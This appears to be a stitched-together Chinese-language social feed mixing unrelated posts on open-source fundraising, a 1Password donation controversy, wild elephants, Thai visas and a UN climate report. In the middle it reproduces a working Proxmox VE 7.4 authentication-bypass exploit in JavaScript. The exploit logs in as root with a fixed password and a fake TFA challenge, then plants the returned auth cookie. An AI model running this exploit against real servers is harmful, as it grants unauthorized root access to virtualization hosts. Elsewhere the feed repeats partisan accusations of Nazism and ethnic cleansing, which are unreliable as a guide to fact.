GNOME 已经存在了几十年，他们最大规模的一次筹款活动筹集的资金略超过 110 万。

有个人写了几个 .conf 文件，用了 Arch 的软件包仓库，就筹到了超过 1200 万。

(wydamn)

如果你有 1Password 订阅，或雇主是 1Password 的企业客户，请阅读本文并考虑反对 1Password 向 Omarchy 做出的捐赠决定，质询 1Password，或退订 1Password：

https://www.alilleybrinker.com/blog/1password-funds-ethnic-cleansing/

#FashTech

以及
1Password Quid Pro Quo With DHH Confirms Ties to Nazism
https://www.flyingpenguin.com/1password-quid-pro-quo-with-dhh-confirms-ties-to-nazism/

Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

Exp (.js) 正文:

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

观后感：不是，你就这么水灵灵的拿到 login cookie 了？

https://fixupx.com/nebusecurity/status/2094719919539793989

此漏洞已分配编号 PSA-2026-00043-1

确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9

*如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响

https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929

分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，借助无人机全程追踪象群动态。本次象群性情温顺，未冲撞民居、滋扰村民。8月2... https://weibo.com/2656274875/Rg2RW1KZl (来自Share微博客户端)

劲爆大象部落

泰国外交部9月1日表示，泰国将缩短外国游客的免签逗留期限，从原本的60天减至30天，新措施从本月15日起正式生效。

联合国报告警告全球气温升幅数年内将超过 1.5 度

2026-09-02 18:26 by 我是6号

联合国环境规划署（UNEP）2 日发布报告，警告称地球变暖导致全球平均气温较工业革命前上升的幅度将在数年内超过 1.5 度，灾害、健康危害等风险将上升至危机水平。报告指出若要减轻负面影响，重要的是将超过 1.5 度的持续时间缩至最短。报告称，若保持当前的气候变暖对策，到 2100 年全球平均气温将上升约 2.6 度。即使《巴黎协定》框架下各国自主设定的温室气体减排目标全部达成，排放量和森林等吸收量相抵达到净零，预计气温仍将上升约 1.8 度，估计 10 年内将超过 1.5 度。一旦超过 1.5 度，极端的气象现象将增多，小岛被淹没的可能性升高。报告还称，人类健康、粮食生产、基础设施以及经济也将受到严重影响。据称如果本世纪内最高上升 3 度，四分之一以上的冰川将消失，海平面将上升 9-13 厘米。参与撰写报告的　英国埃克塞特大学教授理查德·贝茨以 8 月尼泊尔和中国边境发生泥石流为例强调，“遗憾的是，这种事因气候变暖更易发生。需要采取措施遏制气温上升。”

https://www.unep.org/resources/limiting-overshoot-navigating-exceedance
https://china.kyodonews.net/articles/-/15080

#地球

In an internal Slack message, 1Password’s Karimov downplayed the overtly racist comments from DHH, telling staff the following:

As I said, people have different personal opinions. You believe in your heart that DHH is evil, that you have the moral high ground, and that nothing will change your mind.

However, not everyone believes that. It is not fair to claim a monopoly and ostracize team members who might disagree with you.

There are people who are afraid to speak up simply because they will be personally attacked.